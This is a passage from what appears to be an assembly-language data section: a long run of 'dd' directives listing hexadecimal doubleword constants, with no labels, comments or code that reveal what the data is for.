0FF0F0208h, 46CA5D8Ah, 13D5187h, 2040104h dd 7F070001h, 0F090510h, 15F46h, 0F42C3C03h, 92C100Bh dd 81FF4D0Fh, 3BFF15C7h, 8C0FFF06h, 60F0910h, 55000900h dd 8180303h, 4370F02h, 2040B01h, 10070001h, 1020409h, 270700h dd 1D1B1303h, 0A063F1Ch, 0A0852B2h, 8030E00h, 3200002h dd 0FF0C0832h, 0FF0A5C8Ah, 7B005E88h, 10A35C5h, 1453800h dd 0FF290700h, 0B1DDB84h, 2010A29h, 20605h, 11131807h dd 1F8D065Dh, 5D300108h, 3001081Fh, 1081F5Dh, 81F5D30h dd 11133001h, 62A1A16h, 0BE80FF28h, 0BE80FF0Bh, 0FF0F0508h dd 8BE80h, 63052BFFh, 0BE80FF3Bh, 2BFF0008h, 226305h, 8AFF4244h dd 0A208A201h, 1E040208h, 10070001h, 10204h, 1040303h dd 3030006h, 16111C13h, 60C2A1Ah, 409020Ah, 90001h, 2DFF0007h dd 604424Ah, 2060201h, 120E0F06h, 0BF1D0D05h, 3A0D0106h dd 2B010D01h, 120E6143h, 0D01060Dh, 61010D01h, 5BF120Eh dd 61020606h, 1610901h, 5120E0Fh, 1060Dh, 0A180D05h, 15000106h dd 14151407h, 1400D14h, 606010Dh, 6060C06h, 3A010204h dd 758966FFh, 9120E0Fh, 91561BFh, 15421542h, 433C6142h dd 217039FFh, 40A4723h, 7000106h, 106060Dh, 0A1010A04h dd 0F5120E0Fh, 12B0D0Bh, 80E0FA1h, 0F052137h, 2EF51B10h dd 8BC80FFh, 4022C925h, 106040Ah, 60D0700h, 1040901h, 80E0FA1h dd 1040104h, 3C030300h, 127039FFh, 10142510h, 10204h, 1020410h dd 30300h, 18030027h, 1C1D1B13h, 1E1A163Fh, 14030009h dd 11E054Ch, 5B0FA109h, 111C5B76h, 0C151A16h, 38FF062Ch dd 37080A98h, 0C0C0C12h, 0F0C0209h, 20000210h, 49085703h dd 3502086Dh, 700010Ah, 14509h, 5020303h, 7000206h, 0A02086Dh dd 7000A00h, 9020B0Eh, 18030300h, 11411D13h, 62A1A16h dd 1040902h, 7000900h, 40F0104h, 4A000102h, 1403F603h dd 1000270Bh, 1060402h, 7000104h, 90B14F6h, 3002700h, 0C171B03h dd 4010A04h, 4513C01h, 7000102h, 1D8BFF00h, 26140643h dd 9010604h, 33D3FFFFh, 54990852h, 97D01FFh, 50D140Fh dd 9000901h, 1050A04h, 22990700h, 5219A3Ch, 9010604h, 3000910h dd 0B560020h, 53145900h, 0F7FF7E5Eh, 0DBFF14F9h, 5DD9FF45h dd 1E1EA500h, 45DBFF14h, 0FF0DD8FFh, 0D37DD8h, 141E1EA5h dd 45DBFF04h, 0D30DD8FFh, 4010401h, 7000102h, 90009h, 1B070027h dd 1C131D18h, 2A1A163Fh, 20A060Ch, 10409h, 1040009h, 0F6074A00h dd 0BC80FF08h, 40B5908h, 4015810h, 0D030001h, 0D013A03h dd 0F010001h, 4060605h, 0D090102h, 80E0F01h, 0D100027h dd 2020105h, 1030300h, 1050D00h, 99073300h, 2040840h, 3500001h dd 3DE3BFFh, 27000A0Bh, 17030300h, 0C0605h, 606000Ch, 700140Ch dd 1040104h, 10204h, 1090D07h, 10F0104h, 104010Fh, 10204h dd 7000A02h, 1F1214F6h, 4010412h, 4513C01h, 102h, 60C1426h dd 10504h, 8523307h, 0A045499h, 7000901h, 2299080Eh, 0C219A3Ch dd 1050406h, 4100700h, 4010401h, 7000102h, 0B560010h, 15145900h dd 0F7FF7E5Eh, 0DBFF14F9h, 5DD9FF45h, 1E1EA500h, 45DBFF14h dd 0FF0DD8FFh, 0D37DD8h, 141E1EA5h, 45DBFF04h, 0D30DD8FFh dd 4010401h, 7000102h, 0C0009h, 270009h, 0C1007h, 27000Ah dd 1B131807h, 163F1C1Dh, 372C0C1Ah, 37120A06h, 37123712h dd 20000912h, 0FF125703h, 9D9FE81h, 6D033300h, 0FE81FF12h dd 200002D9h, 5085703h, 10935h, 1093502h, 9450200h, 45050001h dd 2000109h, 89FF0945h, 70001BEh, 0C020909h, 7000206h dd 411D1318h, 2D1A1611h, 82D0806h, 3200002h, 35050832h dd 2000109h, 10935h, 1094502h, 9090700h, 2060502h, 41130700h dd 2A1A1611h, 0A47060Ch, 909050Ch dd 32072000h, 23091243h, 0A020904h, 1040001h, 1040100h dd 40C0006h, 6010Ah, 120E1407h, 204121Fh, 3200001h, 4120332h dd 720102h, 12030E03h, 4C5AD9F6h, 1021Eh, 44211F07h, 12C985FFh dd 0FF9C082Dh, 66FF820Fh, 15213E81h, 89FF080Eh, 0E000908h dd 9022103h, 0E140300h, 94A0B03h, 17530300h, 2BFF1501h dd 50158C6h, 2BFF0006h, 0FF070475h, 1FFF02Bh, 80E1575h dd 40C0B9Ah, 9010Ah, 8320720h, 3BFF0873h, 6540975h, 10504h dd 7529FF07h, 3001008h, 3000917h, 9171305h, 3000900h, 100F0903h dd 61009h, 13181B03h, 1B111C1Dh, 2A1A1611h, 20A060Ch, 10409h dd 1040009h, 0FF000104h, 1B07158Ah, 88FF0595h, 88FF0395h dd 0DD866C95h, 31B0597h, 0DD866C95h, 12C0497h, 3A3C0104h dd 204512Bh, 4050001h, 7000102h, 0C040B0Eh, 0F010401h dd 1F0F210Eh, 3C01040Bh, 4170251h, 2513C01h, 10417h, 8732003h dd 8BC80FFh, 0FF104EFFh, 18059C38h, 848AFF08h, 0A208A2D1h dd 0FF85A24Bh, 8AFF4488h, 3AFF6444h, 0FF0D0BC3h, 15C88h dd 0C708030Eh, 1580158h, 33A0300h, 1020405h, 0B0E0700h dd 20D0B37h, 3030001h, 1040104h, 33A0300h, 2040517h, 0E070001h dd 0D0B370Bh, 3000102h, 4010403h, 4260001h, 3A0106h, 10604h dd 4051007h, 7000102h, 0B37210Eh, 1020Dh, 1040303h, 3000104h dd 104033Ah, 73200300h, 0BC80FF08h, 104EFF08h, 0FF010204h dd 3009C88h, 8230339h, 10A25FCh, 7000104h, 4010A04h, 1580001h dd 7000104h, 10204h, 3570320h, 2513C0Bh, 4013517h, 0FF040001h dd 4011E88h, 70001h, 0B2B142Dh, 0FF911B27h, 1C0950Fh, 104010Dh dd 10D0104h, 1040104h, 7000104h, 270B2D14h, 0FFF911Bh dd 0D01C095h, 4010401h, 4010D01h, 4010401h, 14070001h dd 1B270B2Dh, 950FFF91h, 10D01C0h, 1040104h, 104010Dh dd 2D140700h, 29089121h, 0B299110h, 0EA150129h, 0DFFF2B14h dd 5DD9FF6Dh, 1E2BA500h, 0FF04141Eh, 0D8FF6DDFh, 7DD8FF0Dh dd 513C01D3h, 10204h, 4089107h, 91100F01h, 1B08910Bh, 0C01B791h dd 2010C04h, 2E1F0F0Ch, 10000891h, 513C0104h, 1041002h dd 402513Ch, 27070001h, 3C100300h, 1040251h, 7002700h dd 1D1B1318h, 1A163F1Ch, 12062D62h, 3200002h, 5051232h dd 1050D05h, 6480FF00h, 1020Dh, 0D0B2D07h, 230A0C14h, 0A5E8DFFh dd 0A000C09h, 10945h, 14509h, 0C014507h, 2060502h, 1D180700h dd 16111C13h, 60C2A1Ah, 2050Ah, 3DB4828h, 0FF125003h, 2329168Bh dd 0A60A8BFFh, 8DF0854h, 0BDF08DFh, 2 dup(10231023h), 2EDF22DFh dd 0BDF08DFh, 10231023h, 7A83FF23h, 0FF08BAFFh, 0AAD46BAh dd 0D5D5D51Eh, 0D5D5D5D5h, 0FFD5D5D5h, 901438Dh, 20209h dd 0A7D74807h, 89AB108h, 0B3881FFh, 86FFFF80h, 18C883FFh dd 111C1D13h, 4103605h, 0F0A0102h, 80E0F01h, 0A040A0Ah dd 0F0A0201h, 1002541Fh, 0A030002h, 621A160Fh, 490A060Ch dd 0C1086D2Ch, 81F0839h, 1FC11026h, 26081F08h, 17530F06h dd 52137h, 12570320h, 60C05h, 0C1D0D05h, 7000105h, 0C766FF2Dh dd 90845h, 0FF0F0103h, 52458966h, 846C7FFh, 360510C1h dd 0C1087B52h, 7B360510h, 1E0C354Ch, 7B5E89FFh, 1500015Ah dd 3089FF07h, 390F0917h, 48C00814h, 1839FF40h, 103D6408h dd 290B406Dh, 348DFF17h, 39000675h, 50B1403h, 1736050Fh dd 10C06h, 10C0D05h, 0FF370700h, 845C766h, 1030009h, 8966FF0Fh dd 152E5245h, 15708DFFh, 8BFF080Eh, 36051000h, 7E8DFF44h dd 0FFC985FFh, 0C7FF0789h, 8BFF0846h, 36051041h, 0FFC985FFh dd 0FF080689h, 510418Bh, 7B05CF36h, 89FF3503h, 8BFF7B4Eh dd 0FF4C1E52h, 11E148Bh, 8B128BFFh, 86E0700h, 0D77E89FFh dd 5D3BFF72h, 0FF441522h, 181B0889h, 3F1C1D13h, 0C2A1A16h dd 88480A06h, 6808880Bh, 0FFC3F7FFh, 0CEFFFFCEh, 26FF38FFh dd 173127FFh, 8366FF28h, 1726083Eh, 72191288h, 0FF0B670Fh dd 2317C883h, 104010Ah, 0F6FF0700h, 0F6FF0BC3h, 50508C3h dd 32200F06h, 2500AC08h, 0A54C903h, 1AC04h, 0F6FF1007h dd 63B108C3h, 100B0E08h, 104100Fh, 0C9032500h, 0D082D54h dd 0FF150105h, 1408B66h, 18F0Fh, 700010Dh, 262EC925h, 10530F06h dd 9010Dh, 82D0303h, 90104h, 181B0303h, 3F1C1D13h, 3808E0h dd 0A063F03h, 8D6102BFh, 102080Eh, 20C4230h, 86E5061h dd 2300C02h, 7 dup(230420Ch), 4230420Ch, 6E506102h, 300C0208h dd 3 dup(30420C02h), 50610242h, 2300C02h, 230420Ch, 0CB30420Ch dd 0CB081D42h, 0FF0B0E08h, 0C7FF05C7h, 5C7FF05h, 80E6102h dd 42300102h, 80E6102h, 42300102h, 16111318h, 0C00291Ah dd 1040902h, 4000900h, 50000105h, 270B6E07h, 171B0300h dd 10A0406h, 204513Ch, 6260001h, 3307000Ch, 52219A3Ch dd 412F912h, 0A0102h, 1F120E07h, 10412h, 0F7D9031Fh, 1020D08h dd 10030300h, 10D010Dh, 0D00010Dh, 7000201h, 10204h, 104010Dh dd 1020400h, 10400h, 1040125h, 0A000Ah, 0A1007h, 0C0603h dd 0C170303h, 3002700h, 1318031Bh, 0C3F1C1Dh, 6E5C8BFFh dd 0C0806h, 470B030Eh, 3200002h, 50A0832h, 10C35h, 10A35B2h dd 8520700h, 8BF80FFh, 3605101Bh, 601020Ch, 18070002h dd 16111D13h, 26062A1Ah, 6020409h, 4070001h, 1050906h dd 130F0505h, 7406111Ch, 4F2E7334h, 0D1FF0AD0h, 0B70FFFE9h dd 0D703FF38h, 4EFF2525h, 0BB84EFFh, 324F1018h, 0FFF0813h dd 3FF00B6h, 81FF82D0h, 3FF78E2h, 0FFEA81CAh, 0F7FFC103h dd 1A1611D0h, 6590C15h, 8470A59h, 0B590859h, 3300050Ch dd 24FF0315h, 0F80BFF03h, 50C4910h, 75032000h, 3E781FFh dd 0C2810F2h, 3330005h, 0E681FF9Fh, 0FE0BFF03h, 50C4910h dd 81FF0300h, 0E0C1FFE7h, 0C70BFF03h, 411D1318h, 2380511h dd 3030002h, 11070001h, 2057406h, 0E070006h, 1336050Bh dd 6020511h, 80E0700h, 60205h, 5080E07h, 7000602h, 2513765Bh dd 0FF1BC211h, 25083C80h, 111B0B1Fh, 30E001Eh, 5546308h dd 1A161136h, 60D1E1Eh, 50D0001h, 7200001h, 36050B32h dd 0D020A10h, 20105h, 7003306h, 8F90852h, 3004A0Ah, 1C131853h dd 10130511h, 1000BCBh, 2050002h, 115D0700h, 5050506h dd 873200Fh, 1B030006h, 950FFF73h, 161113C0h, 61E1E1Ah dd 0D080E00h, 50D0001h, 7200001h, 101B0B32h, 50D020Ah dd 6000201h, 52070033h, 508F908h, 3000A13h, 1C131853h dd 16104A11h, 0D06621Ah, 0D000102h, 5020001h, 1020Dh, 1F080E07h dd 1130508h, 13530300h, 104A111Ch, 561B1A16h, 10D14B7h dd 410F0902h, 0D1A1611h, 0F090201h, 0FFF561Bh, 1141C095h dd 0D2A1A16h, 104013Ah, 0B1F0F09h, 5111C1Bh, 9020505h dd 0F010904h, 1C25765Bh, 2A1A1611h, 4013A0Dh, 1F0F0901h dd 111C1B0Bh, 2050505h, 1090409h, 25765B0Fh, 1A16111Ch dd 13A0D2Ah, 0F090104h, 1C1B0B1Fh, 27090511h, 18F0Fh dd 1C360507h, 2A1A1611h, 4013A0Dh, 1F0F0901h, 111C1B0Bh dd 0F270905h, 700018Fh, 111C3605h, 0D2A1A16h, 5050106h dd 0B0E0F09h, 5083228h, 2040505h, 0F191901h, 83FF0B0Eh dd 1080087Eh, 90104h, 3B0FF03h, 0FF0F0910h, 1C13C032h dd 621A1611h, 20A0Ch, 36D2C33h, 0C0D0512h, 1F89FF01h, 9F89FFh dd 765B0007h, 3A24FF3Ah, 0D142525h, 9010D01h, 210E0F0Ch dd 12572806h, 0F191919h, 4608A750h, 0B1F081Fh, 845F6FFh dd 501050Dh, 0F3A0C02h, 0F0C1919h, 0C05081Fh, 0C0B1F0Fh dd 0FF100300h, 89FF078Bh, 7FFFF5Ch, 83F81FFh, 2C213280h dd 39FF0F09h, 0A0B131Fh, 101B0300h, 1C1D18A8h, 2A1A1611h dd 28060C5Ah, 83FF3A0Ah, 8DFFBB3Eh, 9E8DFF7Eh, 0E00EC0Ch dd 138BFF08h, 0D285FF66h, 1F8BFF2Eh, 1839FF45h, 0FF3D5C08h dd 1022CA3Bh, 3BFF4AFFh, 0FF583BCAh, 0FF5C508Bh, 8BFF1089h dd 4AFF3D96h, 22CA3BFFh, 0D8EFFFFh, 0EC010401h, 4D211F0Fh dd 3BFF15E1h, 8DFF2206h, 39FF1BBEh, 89FF1406h, 8DFF2E07h dd 178BFF4Eh, 0D285FF5Ah, 8BFF452Eh, 1839FF19h, 0DC3D4D08h dd 3BFF1522h, 81FF0BC2h, 8BFF3BFAh, 9489FF11h, 4D07FFFFh dd 3BFF159Bh, 5E152206h, 34EB7C34h, 6015142Ch, 0C0C010Dh dd 69FFAC0Ah, 390F8BD2h, 1B0B1F12h, 1E39FF10h, 8DFF2E2Bh dd 0FFFF0A5Eh, 80E0033h, 0F39FF66h, 8BFF452Eh, 1039FF13h dd 0FF3D5C08h, 10220F3Bh, 59078BFFh, 0FF583BA6h, 0FF5C508Bh dd 8BFF1089h, 4AFF3D17h, 22CA3BFFh, 0D0FFFFFh, 0FF010401h dd 1F0F33FFh, 83FF4D0Bh, 3BFF15C3h, 83FF2206h, 1D1318C8h dd 60C111Ch, 0B10A2C74h, 8DFF2E0Eh, 1F08CB7Eh, 0B100EC54h dd 3BFFE1D7h, 0FF2203D8h, 6A683h, 1D131803h, 0FF740611h dd 254FE81h, 0B030E00h, 0FF11131Bh, 89FF6083h, 4F111330h dd 0FF488BFFh, 380B083Bh, 111B0300h, 5489FFE5h, 0FF40FFFFh dd 0FF34488Bh, 0FFF083Bh, 8BFFC295h, 740611C2h, 8BFF0A1Bh dd 0D285FF56h, 4E8DFF2Eh, 0FF398BFFh, 25087C3Bh, 0C23BFF9Bh dd 8BFF1022h, 0C13BFF4Eh, 89FFB822h, 69FF924Eh, 0CA03FFC9h dd 8DFF1EABh, 11E5F4Ch, 0FFFF0700h, 1113184Eh, 1E1E1A16h dd 0F42C0C15h, 0FF888DFFh, 0FF2B5889h, 62E1989h, 708DFF0Ah dd 2B398BFFh, 8DFF2E6Dh, 1E8BFF90h, 81A39FFh, 0C283FF4Dh dd 0CF2C2288h, 0BD73BFFh, 3BFF81FFh, 0FF3E8BFFh, 0FFFFBC89h dd 72CF4D01h, 22503BFFh, 2B0D1318h, 0C1E0C01h, 390F3A0Ch dd 5081F08h, 1D1B1036h, 160C111Ch, 0FF0A7406h, 3BFF7E8Bh dd 8DFF3B7Eh, 5C8DFFAEh, 33FFFF16h, 640B0E00h, 0FFC383FFh dd 1B227E3Bh, 1D411318h, 478DFF11h, 0C104F7Bh, 0FF740616h dd 0FF2CED33h, 0A2E6E39h, 0EC7E8DFFh, 2F89FF00h, 3BFFE1D7h dd 1822035Eh, 0FF6E89FFh, 89FF6E89h, 1D4113AEh, 38003811h dd 11030300h, 5621A16h, 1050Dh, 45F6FF07h, 0FF103A08h dd 0FF45BE0Fh, 0D1FFE083h, 0F6FF14E0h, 0FF360545h, 25C0950Fh dd 0D010D14h, 0F090901h, 1C1B080Eh, 0A280611h, 19190832h dd 0F9330F19h, 0A0508h, 19190303h, 0B1F0F0Ah, 0A08630Fh dd 10800300h, 0A80F0948h, 111C1318h, 152A1A16h, 7E065E0Ch dd 0F7FF2C93h, 140C05FEh, 0F7FF7E15h, 0FF010DF9h, 8BD269h dd 45F6FF07h, 0FF103A08h, 0FF45BE0Fh, 0D1FFE083h, 0F6FF14E0h dd 0FF360545h, 25C0950Fh, 0D010D14h, 0F090901h, 171B080Eh dd 12570A28h, 0F191919h, 0C12F933h, 303000Ah, 0F0A1919h dd 630F080Eh, 89FF0D0Bh, 0C0401BDh, 0FF0C0C01h, 1F0F85C7h dd 958BFF08h, 0D33BFF66h, 39FF042Eh, 3D5C0838h, 22CA3BFFh dd 0FF4AFF10h, 583BCA3Bh, 5C508BFFh, 0FF1089FFh, 0FF3D958Bh dd 0CA3BFF4Ah, 8DFFFF22h, 8003000Ah, 0A0517h, 48100303h dd 18A80F09h, 111C1D13h, 20F3805h, 300380Fh, 110F3811h dd 38383805h, 7406110Fh, 0B2220A73h, 0A010535h, 80E0F38h dd 22F6081Fh, 83FF0F02h, 18DE10C8h, 1A161113h, 3000909h dd 410B030Eh, 9090911h, 11410700h, 291A16h, 340C5E15h dd 34EB067Ch, 1349050Ah, 0FFBD89FFh, 89FFB589h, 0B589FFBDh dd 0D601514h, 4010401h, 0FF060105h, 0F8BD269h, 101B08F6h dd 0A0104h, 185B765Bh, 111C1D13h, 291A16h, 20A060Ch, 10409h dd 26070009h, 0F050506h, 512141Fh, 52C184Ch, 10C051Eh dd 81F0F40h, 500090Ch, 10C0Dh, 0C766FF0Dh, 7000145h, 66FF0F01h dd 1044589h, 0B141F0Fh, 390F0104h, 8BFFC008h, 8BFF00h dd 270B141Fh, 4021700h, 0FE00010Ch, 0FF24FF07h, 0CFF85C6h dd 0FF24FF2Bh, 15BD370Ch, 8B66FFE3h, 8966FF45h, 8E0FFF85h dd 12591547h, 0B591259h, 3000505h, 0C0B030Eh, 8F03000Ah dd 2040103h, 17070001h, 210A0C67h, 38F0300h, 1020401h dd 10400h, 0A0C6307h, 8F0300C8h, 0A060103h, 36F0300h, 0A0601h dd 1036F03h, 3000A06h, 601036Fh, 6F03000Ah, 2040103h, 58030001h dd 1040001h, 100700h, 1038F03h, 10204h, 7000104h, 0C8050A63h dd 38F0300h, 50A01h, 1036F03h, 300050Ah, 0A01036Fh, 6F030005h dd 40A0103h, 3000102h, 4000158h, 10070001h, 3000A0Ch, 401038Fh dd 4000102h, 63070001h, 3B050Ah, 1038F03h, 300050Ah, 0A01036Fh dd 6F030005h, 50A0103h, 36F0300h, 2040A01h, 58030001h dd 1040001h, 100700h, 1038F03h, 300050Ah, 0A01036Fh, 6F030005h dd 50A0103h, 36F0300h, 0C170A01h, 8F03000Ah, 2040103h dd 1040001h, 0C630700h, 3003B0Ah, 601038Fh, 6F03000Ah dd 0A060103h, 36F0300h, 0A0601h, 1036F03h, 3000A06h, 401036Fh dd 3000102h, 4000158h, 10070001h, 38F0300h, 0A0601h, 1036F03h dd 3000A06h, 601036Fh, 6F03000Ah, 0A060103h, 36F0300h dd 1020401h, 1580300h, 1040700h, 0E033400h, 8AFF2E14h dd 0D0FFD184h, 188FFE0h, 3BFF9015h, 13D22D0h, 8966FF0Fh dd 0F010085h, 858966FFh, 1AFF5B00h, 24FF05C0h, 0BD04FF02h dd 0E300010Fh, 4013D15h, 0FF070001h, 0FF7D8366h, 0B858966h dd 8966FF00h, 0A0C85h, 0F010303h, 858966FFh, 0F013D15h dd 858966FFh, 1501050Dh, 4013D05h, 1F0F0901h, 3C0F0908h dd 154D0B9Ah, 8C0FFFC9h, 270009h, 13180303h, 3F1C1D1Bh dd 90027h, 2D1A1610h, 122D1206h, 2122Dh, 12320320h, 13509h dd 1094502h, 9450500h, 90001h, 900E409h, 8BFF00E4h, 729E48Eh dd 1F81B9A6h, 360585E4h, 2060502h, 130700E4h, 0BE01141h dd 5027406h, 0FF070006h, 111386C6h, 383802h, 20A1107h dd 330FC500h, 8D060852h, 2300A02h, 2 dup(230420Ah), 0CB30420Ah dd 0CB081342h, 0E08CB08h, 5C6FF08h, 1A161118h, 0A060C2Ah dd 3F70002h, 5A174A0Bh, 30E0005h, 0A9062608h, 14030001h dd 0D08030Eh, 0F090C01h, 6D49080Eh, 0DE03FF22h, 0A010090Ch dd 69FF40A8h, 13DC0h, 0B320320h, 10030009h, 3E89FF35h dd 152E7B52h, 2340142Ch, 19050Ah, 0FF024644h, 89FF098Bh dd 15F460Ch, 4583FF00h, 0DF03FF07h, 0B4DFFFFh, 52000949h dd 402CBB03h, 34FFFF46h, 330F0205h, 5A124052h, 0D010D5Ah dd 0F0A0105h, 170A0B0Eh, 901050Dh dd 44460F0Ah, 89FF9505h, 0FF44464Ch, 0A0FF4C89h, 6C1B03BDh dd 2397DD86h, 9010A04h, 80E0F09h, 0A040855h, 15F4601h dd 10400h, 1F080E07h, 0BC80FF2Eh, 100B5908h, 0FF4E8BFFh dd 0F098489h, 0FFC381FFh, 2214DFFh, 18530300h, 111C1D13h dd 11030038h, 62A1A16h, 904020Ah, 90001h, 48200007h, 8F73BFFh dd 51AC0C3Ch, 10204h, 39FF2C07h, 0F02963Eh, 1E9E8746h dd 4517979h, 3C000102h, 0D70B9A07h, 0FFC781FFh, 64B1E3Bh dd 271D0300h, 1B180300h, 63F1C13h, 3200002h, 35020832h dd 7000138h, 2060502h, 11130700h, 0C2D1A16h, 2D120A06h dd 9000912h, 14090050h, 7292000h, 2EF03BFFh, 13520h, 2C0C3303h dd 390F050Ch, 0A0B14h, 2B4C1003h, 90A061Eh, 80E0F01h, 66DE0837h dd 0A2CE2E37h, 2 dup(0A208A208h), 4C6FF85h, 4D3BFF5Ch dd 90A22h, 0A0303h, 180F0903h, 11411D13h, 380806E0h, 0F200300h dd 8F03BFFh, 0F050506h, 0F060520h, 11130F06h, 4AB20A06h dd 0FB000505h, 373034Eh, 6780FF4Bh, 5054AB2h, 34EFB00h dd 0FF4B0373h, 4AB26780h, 0FB000505h, 373034Eh, 6780FF4Bh dd 16111318h, 60C2A1Ah, 1252490Ah, 217F80FFh, 2061305h dd 0E07000Ah, 6103A0Bh, 7000A02h, 103A0B0Eh, 0A0206h, 3A0B0E07h dd 0A020610h, 210E0700h, 0AE13Ah, 12320320h, 83C80FFh dd 170B4EFFh, 4700015Fh, 5FC83903h, 10401h, 0C8035703h dd 10A0406h, 0FF0D0700h, 501A480h, 9010504h, 29210E0Fh dd 20001401h, 1430D03h, 401060Dh, 0F090105h, 472D210Eh dd 60B2D08h, 700090Ch, 2AC0B2Dh, 2D070009h, 0A2321h, 0FF03205Ah dd 2E2D2680h, 0FFF4415h, 0D0104B6h, 6000102h, 67073D00h dd 90C0622h, 80FF0700h, 6010D26h, 15034D00h, 622C903h dd 600090Ch, 6072800h, 0F090300h, 1C1D1318h, 2A1A1611h dd 1020406h, 102040Fh, 1020400h, 10400h, 1040104h, 1040700h dd 102040Fh, 32032000h, 5060803h, 6000205h, 10400h, 111C1307h dd 42A1A16h, 40F0102h, 2 dup(4000102h), 1040001h, 4000104h dd 7000102h, 1080Eh, 1C360503h, 111C1B11h, 0C2A1A16h, 2040A06h dd 2040F01h, 8D030001h, 0A052303h, 4050505h, 50300102h dd 10D08A7h, 10D010Dh, 0FF0C0F0Ch, 0FFFF1D8Bh, 50A05D3h dd 9020505h, 8732030h, 10D010Dh, 0F06010Dh, 0D3FFFF06h dd 1C1D1318h, 2A1A1611h, 60D4A06h, 6020601h, 2020606h dd 408F50Fh, 40F0102h, 9000102h, 7000104h, 250F0104h, 5010401h dd 0F090906h, 0F090910h, 1C130F09h, 0A740611h, 300AA06h dd 0FF2E0E66h, 0FF0B3C80h, 0A65C7C8Dh, 1318A822h, 2A1A1611h dd 5010204h, 40F010Fh, 80FF0001h, 1040320h, 16111C0Fh dd 60C621Ah, 5050Ah, 330505h, 1305AF07h, 5050899h, 4488FF00h dd 3BFF034Eh, 5F0B03F7h, 49000102h, 2000Ah, 10D5007h, 60D4A0Fh dd 6060506h, 1F0F0102h, 101B0B14h, 0A0A010Dh, 0F0C020Ah dd 6430D07h, 3000C01h, 0F090C01h, 6060F09h, 201060Dh, 36050F06h dd 1C1D1318h, 2A1A1611h, 0A060Ch, 2C060426h, 10F0C01h dd 2B2BDA0Fh, 4D402308h, 0F010604h, 10204h, 4EC00ECh, 0EC0001h dd 1040104h, 120E0700h, 40E14D49h, 0B1F39FFh, 3000C09h dd 6040333h, 2040F01h, 0FFFF0001h, 348DFF34h, 104AC00h dd 700AC00h, 40F0104h, 104010Ch, 20B0E0Fh, 7000502h, 75201510h dd 6B006Bh, 56B6Bh, 6B006Bh, 1D131807h, 48D111Ch, 2 dup(4300105h) dd 1040001h, 5000100h, 0C06130Dh, 0D070001h, 8966FF43h dd 10D015Dh, 5050C0Ch, 10C040Ch, 0C0F0F0Ch, 2A1A1600h dd 0A060Ch, 480C0447h, 10F0A01h, 840DB0Fh, 0C04AA26h, 2040F01h dd 0AC0001h, 104ACh, 10400ACh, 7000104h, 0E14D080Eh, 3F83FF9Dh dd 626480Bh, 4000A02h, 10001h, 6120E07h, 3030002h, 150F0A0Fh dd 6B7520h, 6B6B006Bh, 6B0005h, 104006Bh, 7000100h, 202080Eh dd 0F030300h, 13180F05h, 16111C1Dh, 0C00291Ah, 9020A06h dd 9000104h, 7BF3C00h, 8D8DFF2Ch, 1E020C14h, 12396101h dd 0B55121Fh, 13050B55h, 38FF4A10h, 504089Dh, 10401h, 4A080E07h dd 89D38FFh, 90104h, 29035703h, 0FF01290Bh, 185B60Fh, 2040104h dd 57070001h, 0C04050Bh, 5040001h, 85C6FF01h, 90009h, 50D1707h dd 8F0F2701h, 0D070001h, 27010C02h, 1400010Fh, 10C0405h dd 0B370700h, 0FF010504h, 985C6h, 17070009h, 0FF010504h dd 985C6h, 92607h, 0C08030Eh, 9010604h, 1F083961h, 1040108h dd 0E070009h, 0E000908h, 40C0803h, 61090106h, 81F0839h dd 9010401h, 80E0700h, 9100F05h, 3000900h, 1B131803h, 163F1C1Dh dd 4022A1Ah, 9000109h, 1050400h, 0E140700h, 300270Bh, 60C171Bh dd 3C010A04h, 1020451h, 90A2300h, 3C500700h, 126E219Ah dd 208A7h, 0B320320h, 410000Ch, 11E89FFh, 4000135h, 13501h dd 35010204h, 2060001h, 0B0E0700h, 0C0006h, 90A0303h, 17030300h dd 270009h, 18031B03h, 3F1C1D13h, 1E1E1A16h, 66E680Ch dd 1050D0Bh, 3000202h, 7000103h, 25D8DFFh, 32032000h, 10C3508h dd 0E031500h, 0A290B03h, 1350105h, 35024900h, 1B00010Ah dd 8738FF07h, 1B7020Ch, 7000206h, 1C1D1318h, 32740611h dd 0FF4F4BE6h, 0CE4F0C8Dh, 0FF0188FFh, 4AFF6180h, 85FFB8B8h dd 1353B9D2h, 6740611h, 80E0300h, 3C80FF59h, 1310DE0Bh dd 0FF1BE511h, 8E20A8Ah, 0B4C3AFFh, 11109025h, 0C1E1A16h dd 0F50A4A06h, 906060Bh, 9060600h, 101B0700h, 62809h, 902010Dh dd 5076800h, 150389FFh, 89FF8818h, 0FF149630h, 29FF738Dh dd 39FF1B5Dh, 1E4C0846h, 7000102h, 0E0689FFh, 3FFA508h dd 441B1045h, 489FF64h, 7D3BFF72h, 1318154Bh, 9D111C1Dh dd 7AF669FFh, 0FF010675h, 1048Dh, 0FF050615h, 1048Dh, 478DFF07h dd 61A1610h, 4449280Ah, 8C985FFh, 8AFF089Ch, 788FF06h dd 644E088Ah, 0FF0B9CB8h, 131807C6h, 0FF4F1141h, 8E2088Ah dd 85AE4B69h, 32FF1025h, 0B0FF11C0h, 1E1A1611h, 490A060Ch dd 5A68000Ah, 3D82BFFh, 2878FF14h, 0FF068AFFh, 3AFF0F8Ah dd 0FFF08C1h, 0FFFD0BEh, 0FF9EC1BEh, 3D08D13Bh, 0BD03BFFh dd 60A09h, 4D080E07h, 1B96374Eh, 1C1D1318h, 0FF441511h dd 610C103h, 8AFF1B74h, 6908E20Eh, 0FF086908h, 10254C8Ah dd 0A1113EDh, 3C8DFF66h, 89148AFFh, 0DE0B8908h, 3FF105Ch dd 13ED18C1h, 8AFF4F11h, 8E22508h, 0E2088AFFh, 25086908h dd 2080FF10h, 0A06C211h, 0FF931BB2h, 0B89168Ah, 18050B52h dd 88FF4810h, 80FF2514h, 104E083Eh, 81318E0h, 59DE080Eh dd 83C80FFh, 60CC211h, 0FF1BB20Ah, 0FF93DF8Bh, 8AFFD92Bh dd 0FA088916h, 1488FF08h, 4B1F4E25h, 1D13181Bh, 105FDE11h dd 0C103FFDEh, 0C1A1610h, 50A2806h, 1F030006h, 49448503h dd 1988FF2Ch, 0C32BFF44h, 441988FFh, 0FF1F88FFh, 59081988h dd 59085908h, 6101B08h, 320001Eh, 6080357h, 320000Ah, 6080357h dd 3200009h dd 6080357h, 35B0009h, 185B0376h, 11411D13h, 0FF151A16h dd 0B89108Ah, 0B7880FFh, 5020905h, 1030300h, 89170700h dd 0FF0B8908h, 440B7880h, 8A018AFFh, 0C082D08h, 550001Eh dd 0C3FEFF09h, 0C3B60FFFh, 1B070001h, 0B7DB84FFh, 8A11411Dh dd 89101E08h, 910020Bh, 1B030009h, 0FA114103h, 38FF150Bh dd 10010810h, 3000909h, 11411503h, 0D621A16h, 